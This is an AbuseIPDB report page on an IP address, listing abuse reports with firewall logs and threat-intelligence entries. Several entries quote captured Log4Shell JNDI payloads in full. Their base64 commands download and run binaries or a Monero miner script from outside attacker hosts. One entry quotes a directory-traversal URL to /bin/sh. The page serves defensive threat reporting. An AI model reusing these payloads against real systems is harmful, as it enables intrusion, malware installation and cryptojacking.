JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 20.205.116.139

20.205.116.139 was found in our database!

This IP was reported 24 times. Confidence of Abuse is 0%: ?

ISP	Microsoft Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS8075
Domain Name	microsoft.com
Country	🇭🇰 Hong Kong
City	Hong Kong

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 20.205.116.139

Whois 20.205.116.139

IP Abuse Reports for 20.205.116.139:

This IP address has been reported a total of 24 times from 15 distinct sources. 20.205.116.139 was first reported on August 7th 2023, and the most recent report was 11 months ago.

Old Reports: The most recent abuse report for this IP address is from 11 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2025-07-05 22:06:12 (11 months ago)	ThreatBook Intelligence: Exploit,Info more details on https://threatbook.io/ip/20.205.116.139 2025-0 ... show more ThreatBook Intelligence: Exploit,Info more details on https://threatbook.io/ip/20.205.116.139 2025-07-05 16:00:33 / 2025-07-05 16:20:10 /?x=${jndi:ldap://154.8.176.228:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTU2LjIyNy4yMzQuMjM5OjM2NDEvbHg2O2NobW9kIDc3NyBseDY7Li9seDY7cm0gLXIgbHg2O3dnZXQgaHR0cDovLzE1Ni4yMjcuMjM0LjIzOTozNjQxL2x4ODtjaG1vZCA3NzcgbHg4Oy4vbHg4O3JtIC1yIGx4OA==} 2025-07-05 16:20:10 / 2025-07-05 16:00:33 /?x=${jndi:ldap://154.8.176.228:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTU2LjIyNy4yMzQuMjM5OjM2NDEvbHg2O2NobW9kIDc3NyBseDY7Li9seDY7cm0gLXIgbHg2O3dnZXQgaHR0cDovLzE1Ni4yMjcuMjM0LjIzOTozNjQxL2x4ODtjaG1vZCA3NzcgbHg4Oy4vbHg4O3JtIC1yIGx4OA==} show less	Web App Attack
🇵🇱 webmedia-uk	2025-04-17 06:36:00 (1 year ago)	ColdFusion CFC attack	Hacking Exploited Host Web App Attack
🇨🇳 ThreatBook.io	2025-01-18 22:12:19 (1 year ago)	ThreatBook Intelligence: Exploit,Info more details on https://threatbook.io/ip/20.205.116.139 2025-0 ... show more ThreatBook Intelligence: Exploit,Info more details on https://threatbook.io/ip/20.205.116.139 2025-01-18 00:02:39 /_search?a=$%7Bjndi%3Aldap%3A%2F%2F81.70.97.9%3A1389%2FBasic%2FCommand%2FBase64%2FY3VybCAtcyAtTCBodHRwOi8vZG93bmxvYWQuYzNwb29sLm9yZy94bXJpZ19zZXR1cC9yYXcvbWFzdGVyL3NldHVwX2MzcG9vbF9taW5lci5zaCB8IExDX0FMTD1lbl9VUy5VVEYtOCBiYXNoIC1zIDQxcUJHV1RSWFVvVU1HWHNyNzhBaWUzTFlDQlNER1p5YVFlY2VNeG4xMXFpOWF2MWFkWnFzVldDclV3aGh3cXJ0NzJxVHpNYndlZXFNYkE4OW1uRmVwamE5WEVSZkhM%7D show less	Web App Attack
🇨🇳 ThreatBook.io	2025-01-16 22:10:36 (1 year ago)	ThreatBook Intelligence: Exploit,Info more details on https://threatbook.io/ip/20.205.116.139 2025-0 ... show more ThreatBook Intelligence: Exploit,Info more details on https://threatbook.io/ip/20.205.116.139 2025-01-16 20:19:14 /solr/admin/cores 2025-01-16 20:05:50 /solr/admin/cores 2025-01-16 20:41:10 /_search?a=$%7Bjndi%3Aldap%3A%2F%2F81.70.97.9%3A1389%2FBasic%2FCommand%2FBase64%2Fd2dldCBodHRwOi8vMTAzLjE3OC41Ny4yMzQ6NTQ1MC9sbDY0O2NobW9kIDc3NyBsbDY0Oy4vbGw2NDtybSAtciBsbDY0O3dnZXQgaHR0cDovLzEwMy4xNzguNTcuMjM0OjU0NTAvbGw4NjtjaG1vZCA3NzcgbGw4NjsuL2xsODY7cm0gLXIgbGw4Ng==%7D 2025-01-16 20:41:08 /_search?a=$%7Bjndi%3Aldap%3A%2F%2F81.70.97.9%3A1389%2FBasic%2FCommand%2FBase64%2Fd2dldCBodHRwOi8vMTAzLjE3OC41Ny4yMzQ6NTQ1MC9sbDY0O2NobW9kIDc3NyBsbDY0Oy4vbGw2NDtybSAtciBsbDY0O3dnZXQgaHR0cDovLzEwMy4xNzguNTcuMjM0OjU0NTAvbGw4NjtjaG1vZCA3NzcgbGw4NjsuL2xsODY7cm0gLXIgbGw4Ng==%7D show less	Web App Attack
🇵🇱 Ferron	2025-01-12 12:26:04 (1 year ago)	Blocked by EasyWAF Module: directoryTraversal URL: svrjs.org/cgi-bin/.%25%2532%2565/.%25%2532%2565/. ... show more Blocked by EasyWAF Module: directoryTraversal URL: svrjs.org/cgi-bin/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/bin/sh show less	Hacking
🇵🇱 Ferron	2025-01-12 12:01:23 (1 year ago)	Blocked by EasyWAF Module: directoryTraversal URL: www.admsnippet.com/cgi-bin/.%25%2532%2565/.%25%25 ... show more Blocked by EasyWAF Module: directoryTraversal URL: www.admsnippet.com/cgi-bin/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/bin/sh show less	Hacking
🇮🇩 penjaga BRIN	2024-12-09 23:45:52 (1 year ago)	Apache.Log4j.Error.Log.Remote.Code.Execution	Web App Attack
🇨🇦 yukon.ca	2024-12-09 17:48:37 (1 year ago)	Web Server Enforcement Violation: Apache Log4j Remote Code Execution (CVE-2021-44228) Port:80	Hacking Exploited Host
🇫🇮 DAILYKANBAN.COM	2024-07-18 07:59:20 (1 year ago)	Port Scan detected from 20.205.116.139 (HK/Hong Kong/-). 9 hits in the last 150 seconds; Ports: ; ... show more Port Scan* detected from 20.205.116.139 (HK/Hong Kong/-). 9 hits in the last 150 seconds; Ports: ; Direction: in; Trigger: PS_LIMIT; Logs: Jul 18 07:59:00 mikko kernel: [1720201.444269] Firewall: TCP_IN Blocked* IN=enp1s0 OUT= MAC=96:00:03:67:a8:60:d2:74:7f:6e:37:e3:08:00 SRC=20.205.116.139 DST=95.217.246.244 LEN=52 TOS=0x00 PREC=0x00 TTL=105 ID=13186 DF PROTO=TCP SPT=64657 DPT=85 WINDOW=8192 RES=0x00 SYN URGP=0 Jul 18 07:59:03 mikko kernel: [1720204.456751] Firewall: TCP_IN Blocked IN=enp1s0 OUT= MAC=96:00:03:67:a8:60:d2:74:7f:6e:37:e3:08:00 SRC=20.205.116.139 DST=95.217.246.244 LEN=52 TOS=0x00 PREC=0x00 TTL=105 ID=13429 DF PROTO=TCP SPT=64657 DPT=85 WINDOW=8192 RES=0x00 SYN URGP=0 Jul 18 07:59:09 mikko kernel: [1720210.453567] Firewall: TCP_IN Blocked IN=enp1s0 OUT= MAC=96:00:03:67:a8:60:d2:74:7f:6e:37:e3:08:00 SRC=20.205.116.139 DST=95.217.246.244 LEN=48 TOS=0x00 PREC=0x00 TTL=105 ID=14086 DF PROTO=TCP SPT=64657 DPT=85 WINDOW=8192 RES=0x00 SYN URGP=0 Jul 18 07:59:10 mikko kernel: [1720211.126 show less	Port Scan
Anonymous	2024-07-09 09:28:00 (1 year ago)	attack on many website	Web App Attack
🇳🇱 Linuxmalwarehuntingnl	2024-07-01 10:38:11 (2 years ago)	Unauthorized connection attempt	Brute-Force
🇮🇪 RoboSOC	2024-05-14 06:46:35 (2 years ago)	osCommerce Remote Code Execution Vulnerability, PTR: PTR record not found	Hacking
🇨🇦 yukon.ca	2024-04-07 13:45:22 (2 years ago)	Web Server Enforcement Violation: Apache Log4j Remote Code Execution (CVE-2021-44228) Port:8085	Hacking Exploited Host
🇨🇦 yukon.ca	2024-03-21 11:05:16 (2 years ago)	Web Server Enforcement Violation: GeoServer Remote Code Execution (CVE-2023-35042) Port:8085	Hacking Exploited Host
🇨🇦 yukon.ca	2024-03-13 09:33:10 (2 years ago)	Web Server Enforcement Violation: GeoServer Remote Code Execution (CVE-2023-35042) Port:8085	Hacking Exploited Host

Showing 1 to 15 of 24 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇧🇪 34.34.173.23

🇰🇷 221.151.251.129

🇧🇩 221.120.103.171

🇬🇧 185.247.137.128

🇳🇱 185.242.226.97

🇺🇸 172.191.171.55

🇺🇸 157.245.95.51

🇩🇪 128.1.123.159

🇨🇳 125.72.54.219

🇺🇸 100.29.192.15

🇹🇷 94.154.43.56

🇺🇸 52.207.196.234

🇺🇸 2a09:bac5:636a:281e::3ff:74

🇨🇳 180.103.119.98

🇺🇸 170.130.187.22

🇫🇷 109.215.241.216

🇧🇩 103.172.188.7

🇰🇷 58.76.159.170

🇺🇸 52.255.171.151

🇸🇬 47.84.113.216